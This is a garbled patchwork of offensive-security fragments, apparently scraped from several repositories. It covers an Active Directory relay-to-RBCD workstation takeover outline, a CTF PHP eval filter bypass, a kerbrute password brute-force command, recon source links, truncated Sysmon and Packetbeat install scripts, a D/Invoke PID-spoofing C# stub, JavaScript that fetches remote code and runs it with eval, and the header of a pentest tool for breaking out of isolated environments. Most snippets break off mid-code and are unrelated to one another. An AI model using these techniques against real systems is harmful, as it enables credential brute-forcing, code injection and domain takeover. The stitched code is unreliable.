log4she11

Overview

In the default configuration of Active Directory, it is possible to remotely take over Workstations (Windows 7/10/11) and possibly servers (if Desktop Experience is installed) when their WebClient service is running. This is accomplished in short by;

Triggering machine authentication over HTTP via either MS-RPRN or MS-EFSRPC (as demonstrated by @tifkin_). This requires a set of credentials for the RPC call.
Relaying that machine authentication to LDAPS for configuring RBCD
RBCD takeover

The caveat to this is that the WebClient service does not automatically start at boot. However, if the WebClient service has been triggered to start on a workstation (for example, via some SharePoint interactions), you can remotely take over that system. In addition, there are several ways to coerce the WebClient service to start remotely which I cover in a section below.

PHP filter bypass - no letters or quotes

For the 2021 hack the box cyberpocalypse ctf, there was a web challenge called pcalc that included this filter:

if (strlen($formula) >= 100 || preg_match_all('/[a-z\'"]+/i', $formula)) {
    return '🤡 dont bite the hand that feeds you human 🤡';
}
try {
    eval('$pcalc = ' . $formula . ';');

Kerberos cheatsheet

Bruteforcing

With kerbrute.py:

python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>

With Rubeus version with brute module:

https://scans.io/
https://commoncrawl.org/
https://web.archive.org/ (For JS snippets this can be extremely handy. See killbox.sh below that was written for a HackerOne event.)
https://www.shodan.io/
https://opendata.rapid7.com/
https://www.virustotal.com/en/documentation/public-api/ (You can fetch previously-scanned URLs via the API.)
https://securitytrails.com/
https://threatcrowd.org/
https://dnsdumpster.com/
https://crt.sh/

	#!/bin/bash
	PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
	PACKETBEAT_YAML="https://raw.githubusercontent.com/socfortress/Wazuh-Rules/main/Packetbeat/packetbeat.yml"

	logger() {

	now=$(date +'%m/%d/%Y %H:%M:%S')
	case $1 in
	"-e")
	mtype="ERROR:"

	$sysinternals_repo = 'download.sysinternals.com'
	$sysinternals_downloadlink = 'https://download.sysinternals.com/files/SysinternalsSuite.zip'
	$sysinternals_folder = 'C:\Program Files\sysinternals'
	$sysinternals_zip = 'SysinternalsSuite.zip'
	$sysmonconfig_downloadlink = 'https://raw.githubusercontent.com/olafhartong/sysmon-modular/master/sysmonconfig.xml'
	$sysmonconfig_file = 'sysmonconfig-export.xml'

	[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12

	if (Test-Path -Path $sysinternals_folder) {

	using System;
	using System.Runtime.InteropServices;
	using System.Diagnostics;


	namespace DInvoke_PIDSpoof_DevNuget
	{
	class Program
	{
	static void Main(string[] args)

	// <script src="https://code.jquery.com/jquery-3.5.0.js"></script>
	const loadScript = async (url) => {
	const response = await fetch(url)
	const script = await response.text()
	Function(script)
	}

	const scriptUrl = "https://code.jquery.com/jquery-3.5.0.js"
	loadScript(scriptUrl)

	const loadScript = async (url) => {
	const response = await fetch(url)
	const script = await response.text()
	eval(script)
	}

	const scriptUrl = "script.js"
	loadScript(scriptUrl)

	#!/usr/bin/python
	#coding: utf-8

	# F-Isolation v0.1 - F**k isolated enviroments

	# Because we hate that kind of pentests where you start at an isolated citrix where our
	# clipboard is useless, we do not have internet access inside the machine and we can not
	# map a local resource to upload our tools.

	# OCR + Keyboard emulation FTW!